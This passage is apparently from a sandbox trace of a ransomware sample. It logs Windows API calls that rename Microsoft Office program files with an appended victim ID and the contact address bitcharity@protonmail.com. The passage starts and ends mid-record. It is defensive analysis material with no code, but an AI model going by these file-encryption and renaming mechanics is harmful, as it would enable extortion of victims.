office\\root\\office16\\bibliography\\style\\iso690nmerical.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.135] CloseHandle (hObject=0x1274) returned 1 [0266.135] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.135] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\mlaseventheditionofficeonline.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.136] CloseHandle (hObject=0x1274) returned 1 [0266.137] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.137] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\SIST02.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\sist02.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.138] CloseHandle (hObject=0x1274) returned 1 [0266.138] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.139] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\TURABIAN.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\turabian.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.139] CloseHandle (hObject=0x1274) returned 1 [0266.142] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.143] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\card_expiration_terms_dict.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\card_expiration_terms_dict.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.143] CloseHandle (hObject=0x1274) returned 1 [0266.144] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.144] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\card_security_terms_dict.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\card_security_terms_dict.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.145] CloseHandle (hObject=0x1274) returned 1 [0266.146] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.146] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\card_terms_dict.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\card_terms_dict.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.146] CloseHandle (hObject=0x1274) returned 1 [0266.147] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.147] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\config.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\config.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.147] CloseHandle (hObject=0x1274) returned 1 [0266.148] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.148] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\ssn_high_group_info.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\ssn_high_group_info.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.149] CloseHandle (hObject=0x1274) returned 1 [0266.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\document parts\\1033\\16\\built-in building blocks.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\Built-In Building Blocks.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\document parts\\1033\\16\\built-in building blocks.dotx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0266.151] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.151] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.151] CloseHandle (hObject=0x1274) returned 1 [0266.409] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.409] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FIRSTRUN.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\firstrun.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.409] CloseHandle (hObject=0x1278) returned 1 [0266.472] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.472] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\GRIP.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\grip.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.473] CloseHandle (hObject=0x125c) returned 1 [0266.474] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.474] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.474] CloseHandle (hObject=0x125c) returned 1 [0266.475] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.475] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TipsImage.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\tipsimage.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.475] CloseHandle (hObject=0x125c) returned 1 [0266.476] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.476] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\TipsImageMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\tipsimagemask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.476] CloseHandle (hObject=0x125c) returned 1 [0266.477] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.477] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\VeriSignLogo.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\verisignlogo.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.477] CloseHandle (hObject=0x125c) returned 1 [0266.479] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.479] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.480] CloseHandle (hObject=0x125c) returned 1 [0266.480] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.480] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.481] CloseHandle (hObject=0x125c) returned 1 [0266.482] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.482] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.482] CloseHandle (hObject=0x125c) returned 1 [0266.483] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.483] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.483] CloseHandle (hObject=0x125c) returned 1 [0266.484] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.484] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.484] CloseHandle (hObject=0x125c) returned 1 [0266.485] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.485] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.485] CloseHandle (hObject=0x125c) returned 1 [0266.486] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.486] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.486] CloseHandle (hObject=0x125c) returned 1 [0266.487] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.487] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.488] CloseHandle (hObject=0x125c) returned 1 [0266.489] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.489] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.489] CloseHandle (hObject=0x125c) returned 1 [0266.490] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.490] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.490] CloseHandle (hObject=0x125c) returned 1 [0266.491] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.491] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.491] CloseHandle (hObject=0x125c) returned 1 [0266.492] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.492] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.492] CloseHandle (hObject=0x125c) returned 1 [0266.497] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.497] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.497] CloseHandle (hObject=0x125c) returned 1 [0266.498] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.498] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.498] CloseHandle (hObject=0x125c) returned 1 [0266.499] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.499] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.499] CloseHandle (hObject=0x125c) returned 1 [0266.500] SetFilePointerEx 